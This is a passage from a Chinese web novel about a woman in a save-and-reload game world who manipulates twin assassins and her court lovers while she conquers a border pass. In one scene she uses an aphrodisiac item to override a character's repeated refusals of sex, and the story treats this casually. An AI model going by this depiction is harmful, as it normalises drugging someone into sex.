将要出门,你听到他的声音。 “可之前你不是那么对我的,为什么前后不一样?不是对同一个人的态度吗?” 你的手从门框上滑落。 心想是左右不一样才对。 “你非要提这件事。” 声音放低:“很好玩吗?玩得开心吗?我的表现让你满意了吗?” “看着我对你犯傻,你是不是很高兴?” 荀左艰涩沉默。 他觉得自己理亏,完全忘了之前他假扮荀右时,是如何被你操纵、奴役。 你道:“就是因为你耍我,我如今在荀右面前抬不起头,我对不住他,我亲了别的男人。” “……对不起。” “兄长若是真觉对不起我,就把这段时间的事忘干净,不要再提了。” 荀左道:“我会的。” 你开门出去,随着手臂的动作,后领下的红痕露出,烫到他的眼睛。 今早他走时还没有。 就那么喜欢吗,刚回来便做那种事。 留痕迹又是故意给谁看? 原来,即便双生这般的手足之情,也会有产生裂痕的一天,世上还有什么是能指望的。 碗中的虾还有剩,荀左却吃不下了。 你下楼,跑堂的正好拎着热水往上走。见了你,他笑:“小年轻闹别扭了?” “他在哪?” “门口蹲着,去看看吧,像条可怜的小狗呢。” 你在客栈门口看到了那条可怜的小狗。 他孤身在檐下坐着,抱臂,一眼便知心情无比差劲。待走近,你发现他脚旁放着吃空了的碗,碗上整齐摆着筷子。 听到你的脚步声,他眼中带着嘲弄回头:“你来干什么?我哥信你不信我,你来耀武扬威?” 你道:“你生气了,我出来看看。” 你其实是觉得很有趣。 同时骗两个人,又没有翻车的恐惧,反正可以读档覆盖时间。 当然,除了欺骗,你还有其他想做的事。 “你吃饱了吗?” “气饱了。” “再吃些吧,想吃什么,我帮你叫。” “你怎么这么关心我?我饿不饿肚子重要吗?” 你毫不躲闪地望他:“重要。” 荀右愣了愣,旋即勾唇一笑,站身凑近你。 “不忍心,还是想偷吃?” “想偷吃呢。” “藏都不藏了?” “藏起来怕吃不到。” “你如此对我哥,就不怕我杀你?” “我如此对你哥,可我也如此偏爱你,对你好的人,你要杀吗?” “有什么不能杀的?” “你让我睡一晚,就给你杀。” “你有本事再大声些,我哥就在楼上看着你。” “不了吧,有伤风化。” “呵。” 他将碗捡走,顺手放到桌案,快步上楼。 在兄长关门的前一刻,他用手挡住。 “阿棘说想睡我,你怎么想?” 弟弟依然是一副看好戏的表情,他一定看出了他的不对,在炫耀、羞辱他。 在他称呼你之前,荀左甚至连你的名字都不知道。 因为一场充满恶意的游戏,他没能有机会问你的名字。从始至终,他不曾有一刻真正拥有过你,却仍被他这么针对。 “说这些有意思吗?” “……” 荀右卸去伪装,露出本心的愤怒。 “你说呢?” 两人对峙着,你走到荀右身边,礼貌笑:“我跟他什么都没发生。” 荀左语气软了几分:“我知道,不关你事。” 荀右气极:“你知道什么?” 他说的话就一句不信是吧? “知道你要挨打!” “别以为占个兄长的位置我就怕你!” 你望了眼窗外:“雨好像小了。” 兄弟二人于是破窗去外面打斗。 动气的拳头和杀人时不一样。毫无美观可言,拳拳到肉往脸上捶。你看了一会儿,觉得无趣,关窗回房。 夜深才听到回来的脚步声。撑身拨开床帐,你往门口望了一眼,回来的只有一个人。 “你回来了?” 那人顿了顿,道:“我回来了。” 你躺回枕头上。“洗澡水在浴桶里,是后叫进来的,干净,你洗洗吧。” “……嗯。” 随后是缓慢的清洗水流声。 “他呢?” 你问。 那人答:“赌气走了,不知去向。” “哦。” 洗完澡,黑影在房中犹豫。 你添柴加火:“你们明明那么像,是世上最亲的人才对,怎么就吵架了呢。明天可不可以和好啊?” “……” 他迈步走到床边,拨开帐子上床。 你往里挪了挪,给他腾出位置,听他道:“好不了,凭什么要我跟他和好?” 你轻笑一声,将他搂住,在黑夜里摸索着亲吻。 他手掌握住你肩膀,许久,定了定心,扣住你后脑,将舌堵入。 他身上还残存着一种刚洗漱过的清爽味道,舌比寻常人长些,生涩地缠绕着你,勾连上颚。 你脱力向下坠去,他便撑在你身上,延续这个吻。 “我是谁?” 是谁有区别吗? 不论你回答是谁,都有无数种解读。 真的很有意思。 “说啊……” “我是谁?” 你道:“今晚你好奇怪。” 于是他不敢再问。 背过去时,他手指抚上白天看到过红痕的位置。 你缩了缩脖子:“别动。” “为什么?” “……很痒。” 后脖子被蚊子咬了包,你一直都克制着不碰,免得越碰越严重。 说者无意,听者有心。人在心虚时总喜欢多想。 他咬着你的耳垂。 吻蔓延到侧颈,脊背,一直到了无法形容的地方。 不知过了多少回,陆陆续续很久,雨彻底停。 他去外面井里打水,回来帮你擦拭身体。你困得没什么意识,清早起来浑身清爽,才知道有人给你收拾了。 头一晚不在的两人,如今都回到了房间。 雨停后,客栈里多了空房,店小二送早餐时问你们还要不要多的房间。 自然不用。 雨停了就要去下个地方要赏金。 启程出发,这次是坐船,无须使唤人背你。 打了一架后,双子面对面生分了些,没有之前剑拔弩张的氛围,也不再遮掩一方的存在,同时走在你左右两侧。 总有路过的人盯他们瞧,站着忘了移动,被他们瞪了以后,才讪讪收回目光。 双子就已足够特别,相貌还那么出挑。他们出于好奇看看而已,并无恶意。 荀右开始待你客套,偶尔心情好也会开个玩笑。但开到一半,视线里溶进他哥的身影,就像吞了苍蝇一样换地方避开。 荀左也与你保持距离。但从他故意和荀右穿戴一致的行为就能看出,那天偷吃的人是他。 他还没玩够“荀右游戏”。 你在甲板上观赏江景,转身的功夫就被他拉到角落里接吻。 他的吻技是你带着熟练起来的,将一个不怎么懂这方面的人调成了喜欢的节奏,有种特别的成就感。 “可以吗?” “嗯。” 进去时,你向上仰头,对上那双隐匿在高处的眼睛。 你对他笑了笑。 然后迎接浪潮般的吻。 第129章 庐江是最后一处领酬金的地方。 黄金越攒越多, 手提不方便且惹人注目,他们买了马车装钱。 车内,你掂了掂黄金的重量, 拿得动, 但想要带着这些金子从荀氏兄弟手里逃脱并不容易。 所以你打算之后切换模式弄, 读档存档省力些。 将黄金从怀里放下去,马车随之一倾。 荀右掀帘看你, 扬眉:“喜欢钱?” 你道:“我只是看看,不可以?” “可以啊,你看吧。” “对了, 这钱要分成两份, 一份给我俩师父,一份我和我哥平分。” 他笑, “之前没分得这么明白过,你来了, 我正好也算个帐。” “哦,嗯。” “……” 他将车帘放下去,笑意尽散。 准嫂子就是不一样。 偷着算钱呢,小家子气。 他瞥了眼林中穿行开路的兄长, 对方脸色很臭。 他听得见他们的对话, 不如说他们说话的时候, 他会刻意放慢动作听他们聊什么。 才说了几句,不痛不痒的, 至于摆脸色? 不爱听就趁早分家。 来年, 不,是这次任务结束,赏金领回师父那里, 他就跟师父说不跟兄长一起杀人了。他自己单干,又不是活不下去。 这边,荀左穿行林间,拆树枝的动作比往常用力,暗自发泄。 还双胞胎呢,没成家就开始算计跟他分家。 以为他没在车里就听不见吗? 到庐江郡已夜深。 明日就是此行的末尾。 你们在郊外将就了一夜。你睡在马车里,兄弟二人则在外面值守。 后半夜有人钻进了车里。先是蹲在你面前借着月光瞧,而后指头碰碰你的鼻梁,压压你的嘴唇,就吻了过来。 他庆幸你把他当成别人,又怨你把他当成了别人。 只是咬嘴唇就把你咬醒。 你摸了摸他的脸,躲开嘴:“我梦见一只大蚊子咬我,原来是你。” 他幽幽的:“你就不能梦我点好吗?” 垂头吻你的脸侧,耳朵,只是饱含情意的贴吻,不含一丝欲念。 你推他:“好潮,不舒服。” “我没糊你口水。” “是户外的湿度,衣服潮了。” “我摸摸……是有点,你真娇气。” “我不算吧,有更娇气的人在,之后有机会让你见见。” 大概是没机会。 他挤到车座上来,你便移到他腿上,将他当成人形软椅用。湿气从地面腾来,隔了东西就会好受很多。 “你们师父是谁?很厉害吗?你们都对他很忠心吗?” “忠心是自然,毕竟是师父。” “还没回答我他是谁。” 他缄口不言,看样子是什么不方便透露名姓的人物。 你问:“就没想过为别人卖命?” 他轻出了口气,似乎是笑。 “为谁?” “……” 他道:“我们这种人,最忌讳背叛。背叛的人没有一个有好下场,换到别家也不会再被重用,毕竟能背叛一次,就有第二次。” “为什么不重用?”你道,“不敢用吗?” “就是不敢。没有主的剑,早晚有一日,会将剑锋对准自己这边。” “如果有人敢,你愿意换个师父吗?” 他将头抵在你肩膀上,唇贴着你的侧颈,那里是动脉的位置。稍微割出一小条伤口,就能要了你的命,还是失血过多的死法。 “挖墙脚就挖墙脚,换个主人的事,怎么师父都变了?” “我没挖墙脚。” “装。”他下牙齿,咬着你肩膀上的皮肉。 没舍得用力。 尽管你来路不明,尽管你离间了他们兄弟的关系…… 能离间的关系,本就不牢固。不是你,也会是别人。 而且你又没错,是他自己上赶着凑过来。 没被扇巴掌,就算他走运了。 你靠在他怀里重新入睡,睡熟前,他晃了晃你。 “说说,想让我给谁干?” “不用了,睡觉吧。” “你这么说话好可爱哦,先别睡,让我亲一下。” “够了,睡觉。” “凶巴巴的也可爱。” “……” 说不动,随他。 睡梦之际,你听到了蚊子的嗡嗡声,想着他还醒着会帮你抓。 但他只用嘴唇碰你的头发,对蚊声置若罔闻。 第二天,他的上唇被蚊子咬了一个包。 荀右白了一眼。 他昨晚听到动静了,这两人又偷偷亲近。 他心情烦躁,又不能堵耳朵,仇敌太多,担心有夜袭,只好自己去远些的树上找清净。 嘴都亲肿了,就那么喜欢!那么卖力啊! 因为皮相有损,荀左决定让弟弟去要这个钱。 “好事怎么不让我去?我走了,留你们两个单独在这相处是吧?” 荀左没这个意思,但觉得他说得在理。 弟弟离开,他和你就是单独相处的。他喜欢这样。 他不想再装下去了。干脆打一架,赢了把人抢过来。 你嘴上说喜欢荀右,结果和他不也相处得很好? 实在犹豫,他也可以和荀右比一场。比比看谁更让你开心,做个选择,不论选谁他们都能心服口服。 两人斗了一个时辰气,还是荀左去拿酬金。 杀人只用一夜,领赏用了两个多月。师父那边已经在催,再不回去怕是要有处罚。 黄金终于凑齐。 也不知道你走的这段日子,山寨把你赚的钱花了多少。有柳玄在应该不至于挥霍,但人多起来,几日的粮食便是银山。 【模式切换】 回到待机空间,你怀里抱着抱枕操纵手柄,让屏幕中的你去到双胞胎的房间拾取装黄金的箱子。 见你搬黄金,荀左和荀右的Q版小人头上冒出疑惑的气泡。两个人做同样的表情,站在一起还挺可爱。 你觉得还差了点什么,让这一趟行程不那么圆满。 光标轮到荀右身上,点击,跳出【聊天/比武/行房】的选项。 【行房】 【荀右拒绝了你的行房邀请】 同时,荀左的小人头顶气泡中浮现灰色的心形图案。 又点几次,还是被拒绝。 在次数达到上限之前,你调出道具,选择对象为【荀右】,使用了暖情香。 被诡异状态催使,荀右同意了。 屏幕黑屏,亮屏之后,荀右头顶的气泡出现了刀器。 【荀右向你提出死斗请求】 他兄长在你们行房时就退出了房间,房内只剩你和他两人。 你迟迟没有点击选项,于是屏幕中的荀右已然拿出自己的武器朝你攻击过来,进入战斗状态。 你再次使用暖情香。 效果立竿见影,他的刀掉到地上,不受控制地脸红。 【行房】的按钮跳出来,你没有点。 支线的艳遇到此收尾。 算都睡过了,没再温存的兴致。 【荀右正处于[暖情香]效果状态,确定放置他吗】 【yes】 滑动方向杆,捡起黄金箱,你从窗口跳出,坠落到街道上。 按照导航指引前行,保持状态挂机,你躺倒在沙发上闭目养神。 游戏里的时节进到盛夏,才下过雨,正是湿潮的时候。气候黏人,蚊虫也多,还是待机空间这种充满现代科技的地方适合你休息。 你把毯子盖在身上,贴着脸毛茸茸的,香味有些熟悉。 最近你越来越喜欢睡觉了。 不是时间很久的、打乱生物钟的睡眠,而是疲惫时的浅眠。 可以感觉到内心处于一种健康的状态。 至少之前情绪不好的时候,你没产生过睡觉的欲望,认为睡着是浪费时间。现在会有意识用睡眠调整身体状况,你觉得睡着是一件舒适幸福的事。 * 屏幕中的你回到了青牙山。 经过部下的布置,山门口高高立了一块巨石,刻着“乐王府”的字样。 将黄金交给邱生,迎来了他又一次的深深崇拜,其间掺杂着其他人乱入的对话框。 你觉得自己很像外出打猎回来的动物,被同伴们包围着吹捧。 切换到身临其境的模式。 邱生指挥着手下人搬运你带回来的黄金。山寨里的民众有了统一制服,显得比过去贵气很多。 房屋也重新修葺一遍,有了地方诸侯府邸的规模。 但你留钱并不是让他们修这些的。担心的事还是发生。 你让人叫柳玄来,坐到庭院中的石桌旁等。 等待的时间你翻阅档案。 陈澹生、荀氏兄弟的档案都被你加了星收藏。因为你很好奇他们在你离开后的反应。 陈澹生这边,时间过去较久,已经看不到被你影响的痕迹。 他在荆州牧手下打了几场胜仗,没人再提陈家的那些事。明面人都畏惧他,背地里就算对他有说辞,也不敢传到他耳朵里。他的性格新词是阴毒。 你把他的星标取消了,之后不打算再关注。 荀氏兄弟这边对于你的离开反应很大。 他们把你视为仇敌,在档案中形成了刺杀你的计划。但他们只知道你叫阿棘,而这世上想找名叫阿棘的人并不容易。 阿荆比柳玄先出现。 她彻底被寸术治好,此刻面朝着你,眼神清明。 你隐隐察觉她眼中有一道不明的情绪。想要探究,她已经掩饰过去,对你笑了笑:“阿棘,你回来了。” “我回来了。” “听邱堂主说你带了很多金子,力气真大。” “有黄金在面前,力气会自己增长。” “是在说笑吗?你比过去变好多,如果在街上遇见,我可能不敢认你。” “我们不会在街上遇见。” “说的也是。” 她转身时,身上珠宝的溢彩闪过你的眼睛,是一块红宝石,块头够大,十分夺目。 她的装束比在顾府被她母亲打扮得要华贵很多。 阿荆什么时候喜欢起这样金贵的打扮了?被陈珣传染了吗? 为什么要把钱花在这种地方? 你有点不开心,对自己赚回来的钱有占有欲。 你打算留着做军费的。 柳玄终于露面,你发现他时,他已在路上望了你许久。走近,朝你行礼。 “主上。” “我的钱怎么都花掉了?” 他抬眼望你。 你道:“我要出兵用,花了这些,还剩多少?” 柳玄神情不变,却让你觉得他有些低落。 你后知后觉,以你们的关系,离家多日回来的第一句话不该是质问。 于是你过去拉他的手:“身体怎样,还难受吗?” 他任由你拉着。 先回答你的问候,后回答你的质疑。 “只用了皮毛,库房尚且宽裕,主上所见不过残次品,是迷惑外界的伪装。” “您如今是乐王,与之前当寨主时不能再一样规制。” “这样。” “是。” 阿荆在旁听你们的对话。 余光望见廊道中步履匆匆的陈珣的影子,她高声将他叫了过来。 对上你的目光,她道:“人多才热闹,阿棘。” 陈珣绕过石门,脸原本冷着,见到你的面容,顿时明朗起来。他几步到你身边,仿佛没看见你拉着柳玄的手,将你抱在怀里亲了下。 “还知道回来?干什么去了?” “打工养你们。” 第130章 “这么少的人, 要是出事,你死在外面怎么办?” 你摸了摸低头吃草料的马的鬃毛。 “不会。” 出事就读档回来。 有钱有闲,为什么不试试四两拨千斤的办法?侥幸的胜利更有孤注一掷的爽感。 陈珣还欲劝你, 你不作理会, 踩着脚蹬上马。 见你心意已决, 他只能住口,手理了理你的裤脚。 邱生忧虑道:“主上要不要换一身男装?这世道到底还是男人在做主, 头一回到外面露脸,扮成男人阻力会不会小些?” “不用。” “可……” 何余拦了他一下,拉着他的手臂将他拽到后面, 眼神示意他闭嘴。 柳玄望你:“要换吗?我之前为你准备过尺寸合身的, 你做决定,我吩咐人去取, 在出发之前还来得及。” 你只道:“不用。” “士心难平,费些周折也无妨?” 你对他笑:“你怎么了?” “我是要当皇帝, 不是奴才,为什么要费周折让别人满意我?” 柳玄愣了愣,轻浅的眸子落定在你脸上。 “臣知错。” 你率领一千部下离山。出了山门,身后传来一道急促的马蹄声, 回首望声源, 只见阿荆拉着缰绳策马从高处越下。 “阿棘, 我跟你一起去!” 按照计划,你们先到樊阳关外扎营休整。部下们换上了龟将军麾下盔甲, 检查战备。 阿荆去与军候商量后续粮草的事。你独自在帐中躺平, 思考着明天攻城的对白。 有兵吏送水,恭敬到你帐外问安。 你让她进来,接过水袋道谢。 听到你的谢声, 兵吏诧异望你,觉出失礼又猛地将头低下去。 从外面回来的阿荆,嘴里咬着油饼,身上卷挟着一股香风,熟稔地跟兵吏招呼。 “给主上送水,小宁?” “阿荆姐……” “水都送来了,怎么不走?” 兵吏面色为难,眼睛一点点看往你的方向。 你手拎水袋,不解她的意思。 阿荆笑着推她出去:“傻丫头,主上不让你走,你就一直在这站下去了?” “我……” “快走吧。明日还要攻关,早些吃饭休息,明天好好干比什么都强。” “是!” 人送走,阿荆扭身回来朝你笑。 “你怎么不放人家走啊。” 你拔开水袋的塞子,往嘴里倒了一口。 “走还需要我开口吗?” “自然,你现在是‘主上’,没有你的吩咐,谁敢轻举妄动?” “……” 阿荆递给你饼和炙羊腿,你洗过手,盘腿坐到床铺上,羊腿肉撕成条,卷进饼里。 阿荆拆卸身上的铁甲,依靠在你身上,舒坦地叹了口气。 似乎觉得不够,把你抱得紧些。 “阿棘,明天会顺利的,对吧?” “放心。” “阿棘,你为什么想当皇帝?” “想尝试没做过的事,试试看权力的滋味。” “权力是什么滋味?” “还不清楚。” “以后你尝到了记得告诉我,我也很好奇……权力是什么滋味。” “嗯。” 将夜,你去河边打水洗漱。朝流动的河插入手掌,捧出哗啦啦的水拍到脸上,用布巾擦干。 阿荆恢复神智后,在你离开的这段时间有了其他新的朋友。军营里的女孩子们都喜欢和她打交道,感情十分深厚。 她步入了正常的生活,不再是非你不可的阿荆。 攻城十分顺利。 你变作龟将军的样子,带领亲军在城墙之下喊话。 连续换了几人出来辨认,眼力好的人认为是龟将军无疑。眼力不好的则说绝对不是龟将军,他没有那么英挺的风度。 但眼见为实,你就是龟将军。 他本人不姓龟,姓邹,是朝廷封有爵位的将军。七年前去河西对阵外敌,打了胜仗,归程有神龟玄武入舟,时人以为大吉,给他起了“龟将军”的绰号。他看到有黑气笼罩长安,率领十万大军破城,囚禁了天子。 不管原因如何,龟将军亲自出动,到樊阳关外露面,身后绝不止一千余人。 “怕是有埋伏。” “那怎么办?” “将军,开城门投降吧,我等与龟将军相对,好比鸡子与顽石。” “将军,当真连打都不打吗?” “弃城出逃,往后我们在州牧座下再抬不起头!” “……” 最终,将军决心保存兵力,退兵出城,放你们进门。 他们从军,向来只有生死两条路。 但在樊阳关驻守的这些年,庇佑一方百姓,心境终归不同。 龟将军有屠城的先例,如果将他惹怒,又无法抵挡住攻势,他们会害死更多的人。 进入樊阳城门的那一刻,你遇见撤军的尾巴。 两边对到视线,对方眼里有强烈的不甘。有人实在无法忍耐,拿了弓箭朝你射来。 你握剑要挡,那支箭矢被另一支射偏,打落到地上。 是对方的将军,名叫凤晋的中年人。 他在马背上深深朝你鞠了一躬,命令手下将拿箭射你的人控制住。 城门关闭。 阿荆策马过去,与你的部下们一同落锁。几重锁封死,善用火弓的人上了城墙防备,算是暂时安排妥当。 兵吏们仰头欢呼着,不敢相信袭城这么顺利!他们奔驰在樊阳城内的街道上,每一条小路上都是你的人在乱跑。 你下令:“禁止他们侵扰民众,谁再有山匪习性,去领五十军棍。” 领令的兵吏迟疑:“主上,惩罚是不是太重了?” “不犯就等于不重。” “……是。” 阿荆跑下城楼,几步飞到你的马上。你接了她一把,免得把身下的马惊到。 “成功了,竟然成功了。原来这么简单就可以做到吗?” 她两手揪你的脸:“你是阿棘吗?你真的是阿棘吗?你好厉害!你真的好厉害!” 将她平稳送到马下,你关闭了道具效果,露出自己本来的样貌。 军令传下去,部下们便本分收敛很多。 百姓们从家中探出头来,想要看看那个传闻中的龟将军是什么样的。 他们没能看到龟将军。 街上最壮伟的一匹马,牵在你的手里。 五日之后,你以乐王的身份向樊阳关出兵。知道这件事的人都笑你不自量力,转眼就听到你攻城入军的消息。 山匪寨主出身的你“打败”了龟将军。 就算听说龟将军已然离开樊阳,回去长安,只留了少量兵力驻守。他们也觉得难以置信。 你怎么敢的呢?怎么敢在准备并不充分的情况下打这场仗,你就没有顾虑吗? 不论如何,樊阳关现在是你的地盘。 你住进了城中将军的府邸。 除了柳玄外,所有人都一副被美梦砸中的狂欢之感。 衣衫散落在床榻中时,他勾住你的脖子。 “为何主上月前就让我派人伪造龟将军的踪迹?” “为何主上总是未卜先知,做出惊险正确的决定?” “为何主上功业大成,却不见欢颜,仿佛无事发生?” “主上当真是神明吗?” 你的确用了读档功能修正一些关键细节,让这次行动顺利进行。没想到被他注意到了。 “继续吗?” “……”他叹了口气,缓慢地挪动身体。 外间传来拍门声。 “阿棘!你又睡他!你怎么总睡他!” 柳玄扶着你的腰:“要换他吗?” 门外陈珣还在阿棘、阿棘地叫,你的耳根被他磨软,才想开口,触感仿佛被割成琴弦,丝丝勒紧,从指尖投出。 问你要不要换人的人,正用行动挽留你。 “他说几句,你就应允,为什么?” “哭闹在你这很有用吗?” “……你介意?” “是。”柳玄与你十指交握,“你不在,他每天都骂我贱。但他不知道,外面的贱人更多,只挤兑我有什么用。” “你出去的这几个月,是不是没断过男人?” “……” “你不必骗我,我感觉得到。” “没想要骗你,有点说不出话……” “要轻些吗?” 结束后,你翻身朝里侧,等着柳玄帮你擦洗干净。 被你遗忘的陈珣进到屋子,将你从被子里捞起,抱在怀里。 “你就非得睡他,非得馋他!” 他流了眼泪出来,你抬手擦了一把:“就是谈着正事,没想做的。” “我知道是他勾引的你。但你就不能忍忍吗?你想的话,叫我我就来了。” 柳玄端着水盆停步在房门口,盆中生起微微的水纹。 “我需要回避吗?” 陈珣瞬间不哭了,脸色冷凝起来,迎着他的视线亲你一口。 “回避什么,都是一样的人,端水过来吧。” 他开始说一些明事理的话。 女孩子到你这个年纪就是会花心一点,人之常情。睡些可靠的人没什么,记得家在哪里就可以了。 柳玄跪在床边洗净手帕,擦拭你的身体。 每擦一块,就重新洗一遍。动作慢条斯理,陈珣夸他会干活,有当奴隶的潜质。 你的手忽然收紧,按住柳玄的发顶,将他推得远些。 “你……” “主上腿侧有脏污,清洗罢了。不必把奴隶当人看。” 陈珣再装不下去,抬脚将他往后踹了老远。 “滚出去!她要睡了。” “奴婢告退。” 柳玄撑地起身,扶着灯架站稳身子,没有看你一眼,往外走。 你拢了衣衫,下床拽他:“身子难受了?” “主上不必关照,奴隶不配进到您眼中。” 说完,他捂着嘴咳嗽。将脸色咳得难看。 陈珣过来搂你的腰:“回去睡了,明日不是还要赴州牧的约,你不怕遇见陈澹生吗?他见了你,知道你是乐王,不会轻易放过你的。” “那种人,就算低贱到泥污里,也能张嘴咬你一口。” 你确实困,柳玄又是一副拒绝关心的样子。 索性不再理会。 身后传来响动,紧接着听到人喊柳玄的名字。 他晕过去了。 130-138 第131章 陈珣脸色黑成锅底, 碍着君臣间的情面,到底没阻止你去看望柳玄的病情。 “他没事。” 寸术收了把脉的手,拿湿帕子擦了擦。 “体弱, 将要入秋, 风一吹就倒下再平常不过。” “你们行房了?” 你点头。 他道:“便是了。下次记得收敛, 他受不住那么激烈的房事。” 又交代滋补事宜,柳玄面朝床铺里侧, 始终一句话也没说。 你让侍从记下,先去熬一副药来补。待看过他服药,已经到了后半夜。 寸术行礼告退。 卧房空荡, 像是和主人一起呼喊驱逐的意念。 你从椅子上起身。柳玄立即将眼睫抬起, 幽幽地望你。 蜡烛的火苗弯卷一瞬,暗室顷刻天旋地转, 又恢复平静。 你只是活动身体,并没有离开的意思。将要天亮, 明日还要带他去见江北各诸侯,商讨联盟事宜。 龟将军远在长安,听说樊阳关的动向,将你的打算看得十分透彻。他放出自己并没有离开过长安的消息, 一切争端都是你在自导自演, 意在樊阳关隘。 江北诸城明面晓喻, 私下将他的态度当作战败给无名小卒,无颜面对天下的掩饰。亲眼所见, 岂能有假?他们不认为有人敢假冒龟将军行事。 联盟是荆州牧亲自找的你, 立下盟约后,便可与他们合力进攻长安。 你将外衣脱了,走到床边将他往里推推。 “快天亮了, 我也在这休息。” 将被子盖到身上,他的呼吸跟着凑过来,黏着在你露在外面的脖颈。 你转头,捏他的鼻翼,往后挪了挪。 “寸医师要你禁欲呢。难道呆在一起,你就要跟我做那种事吗?” “男女敦和,是天地造就万物的常理,我与你不过遵循自然。” “那他刚刚要我节制,你怎么不说是你想做?” “……” 他攀着你的肩膀,没有言语。 “因为你要利用我造势,让王府上下,让暗中盯梢的人都知道,你是我麾下的宠臣,你被我做晕了。” 你替他将未尽之词言明。 他没有反驳,静默许久,“我的目的呢?” “做名扬天下的谋士?让所有人忌惮你。” 他语气冷淡:“在那之前,主上是否要先发迹?不然我只是一个被始乱终弃的低贱男子。” “……嫌弃我?那别跟着我了。” 你坐起身,准备下床,被他从背后抱住。 飞雪般清渺的声音,此刻喘着粗气,压实了音色:“你知道我不是那个意思!我不愿你那样想,才说了气话,你当真听不出吗?还是你听出了却不耐理?我赌气,你便走,为何陈珣发怒,你总是留他身边迁就,我和他有什么区别?” “我就是这样。你不喜欢,我们就做回上下级关系。” 在他瞪大双眼,眼中有泪晃出时,你补充:“这样的话,我也对陈珣说过。你以为他就处处都有甜头?” 你回身抱他,手摸了摸他披散的长发。 “怎么还嫉妒人,我以为你品性很好的。” “早知道不睡你了。” 他抬起头,眼中盈泪。 “今夜是他搅扰、凌辱我在先,你只跟我算账?” “不是。” 你挪了挪身体,带着他躺下,闭目养神:“我只是不想你因为我,变成这种不好的样子。” “……” “对了,寸术为什么要在脸上点很多黑斑?是最近流行的妆容吗?” “是为防备你见色起意。在外面,你的名声不是很好。” “……想好也能好吧,你有这个本事。” “是。” “你故意的?故意让我名声不好,但凡有姿色的男子,听到我的名号都要躲避。” 这次他坦然承认:“我还有陈珣,不够你用吗?” “你做到第二回就要吃药,你说呢?我怕你突然死掉。” “命不足惜,暮年之时与身死无异,不如只活当下。” 是这个道理,你被他说动了。 “随你,不过转告寸术,我对他没意思,让他安心做事吧。” “主上置之不理更让他心安。” * 盟会上,江北附近的世家大族、地方诸侯相互交谈。 你起晚了,到时人已来得差不多。所有人都用目光迎接你,有人探究,有人不屑,有人震惊。 震惊的人是顾太守。他盯了你好久,直到荆州牧叫他,他才回神答话。他的异常让州牧多留意你一眼。 “你认识乐王?” 顾太守道:“曾见过。” 他不肯多言,看起来另有隐情。州牧给手下一个眼神,去调查顾氏与乐王府前身青牙寨的渊源。 柳玄露面,许多过去认识他的人都过来寒暄。 他出身高贵,之前给河西崔氏卖命,几乎每个人都是他的人脉。 崔氏过去栖身河西一隅,如今龟将军乱政,势力便也如泛滥的洪水一点点没入中原。 他们都很难理解柳玄弃崔氏,跑来追随你的举动。 你是平民出身,在堂中坐着便矮他们一大截。没人把你的成就放在眼里,在他们心中那都是柳玄的功劳。 柳玄忙着寒暄,无暇分身指点你,你便离了坐席,去到静坐的凤晋将军面前,与他碰杯喝了一盏茶。 他不认识你本身的面貌,之前那一面你是以龟将军的形象出场。对你的主动搭话,他很是意外。 不战而逃,他在州牧手下已经成了笑话。但他不悔,至少樊阳关如今没在龟将军手里,百姓也都活得好好的。 “乐王殿下,您……” “闲聊罢了,将军介意?” 你穿着鹅黄的衣裙,在初秋中是一抹清新稚嫩的颜色,混在堂中,跟黑与紫显得格格不入。 “你这么大的姑娘,跟我有什么可聊?我女儿便厌烦于我,说几句关心的话都要被她呵斥。” “令爱天真烂漫,可有喜欢的物件?我府中有不少奇珍异宝。” 身边人传来嗤笑。“匪窝里的奇珍异宝?只怕凤小姐收了,就要与凤将军决裂了。” 凤晋尴尬看他们一眼,替你圆场。 “蒙乐王殿下好意……” 你转身面向那个刁难你的人,年纪轻轻,是哪家带出来见世面的公子。 无声盯他许久,盯到他不怀好意的恶人模样维持不下去,露出几分愚蠢的尴尬。 你道:“说话好臭,原来是你牙里塞菜叶。” 他下意识闭嘴:“……” 随后反应过来,面红耳赤跑开,惊动一路的人。 礼节至上的贵族,你说的那句话,等于攻击到他最薄弱的地方。 凤晋愣模愣眼,见对方吃瘪,忍不住露出笑。 “殿下,要尝尝这脆饼吗?新烤出来的,还热着。” “多谢。” 旁边的张氏府君也带笑,送来他桌案的点心。 其余人纷纷效仿。 柳玄隔着重重叠叠的人影,遥遥朝你望来,看清楚你被众星捧月,心里漫出一股浓重的厌恶。 为什么这样的场合,要有这么多的男人? 老、中、小都很碍眼。 午饭后,州牧主持签署了盟约,他没说什么特别的话,愤慨激昂地鼓动在场之人攻打龟将军,避讳了部分人比如你的野心,救天子的事从头到尾没提过。 按下手印后,归还印泥,捧着匣子的丫鬟后退一步,口型叫你跟她走。 存档。你随她离开正堂,走上临时搭建的栈桥,水边生了白绒绒的蒹葭。你以为叫你出来的人是陈澹生,结果却是顾太守。 他问你到底想要做什么,眉毛紧皱的弧度,眼神的愤慨,仿佛他是被你折磨至深的父亲。 但你们甚至连血缘都没有。 “什么叫不关我的事?江陵见过你的人不少,你以为各个都像我一样给你留几分薄面,不去拆穿你吗?” “拆穿什么?” “拆穿你之前做的那些事!” “请便。” “你这样洒脱,之后遇到事可别说你是顾家人!” “不会的,放心。对了,你也别说。” “你!” 盟约已定,没有再留下的意义。你与柳玄准备回程,盟会上认识的长辈见你爱吃,都送了些府中特产给你。 正好州牧也在上马车,有人跟他寒暄,两人在车下聊了起来。 那人问:“怎么没见到陈将军?这次没叫他护卫?” “他中毒了,这些日子在家养身体。” 察觉到你的视线,两人奇怪地望向你。 你朝他们点头致意,坐进自己的马车,打开【人物档案】看陈澹生的状态。取消收藏之后,再找他费了些功夫。 你在州牧的门客中找到了他的界面。的确中毒,已经到了解毒状态,只不过腿废了,没办法出门。这个消息他还没有告诉别人。 怎么突然过这么惨? 回府时已经入夜。陈珣闲下来,故作不经意在门口踩点,终于堵到你回来。他一本正经给你数手指,数你究竟欠了他多少夜。 柳玄这次没跟他周旋,借口身体不适请辞。 陈珣得偿所愿,单独跟你回房。 他把所有属于柳玄,或看起来像是属于他的东西扔到门外,拿他自己的东西布置,很是春风得意。 你道:“一晚而已,你那些日常用的东西搬来了,之后也要带走。” “什么一晚?还要我再跟你数一遍吗?你究竟跟柳玄偷吃了多少回?” “紧盯着他做什么?我跟你也有很多次。” “我不跟你说这个。” “那说说陈澹生的事吧,你把他毒残了?” 陈珣收拾东西的手一顿,笑着回头:“你怎么知道是我?” 你没有回答。 他到床边,吻你的唇。 “我让他活着痛苦,也算给我爹娘报仇。” “可你也暴露了你的行踪。他原本可能都忘了你我。” “你说过,他像鬼一样很难甩掉。你把你自己主动送到陈澹生面前了。” 第132章 “那又如何, 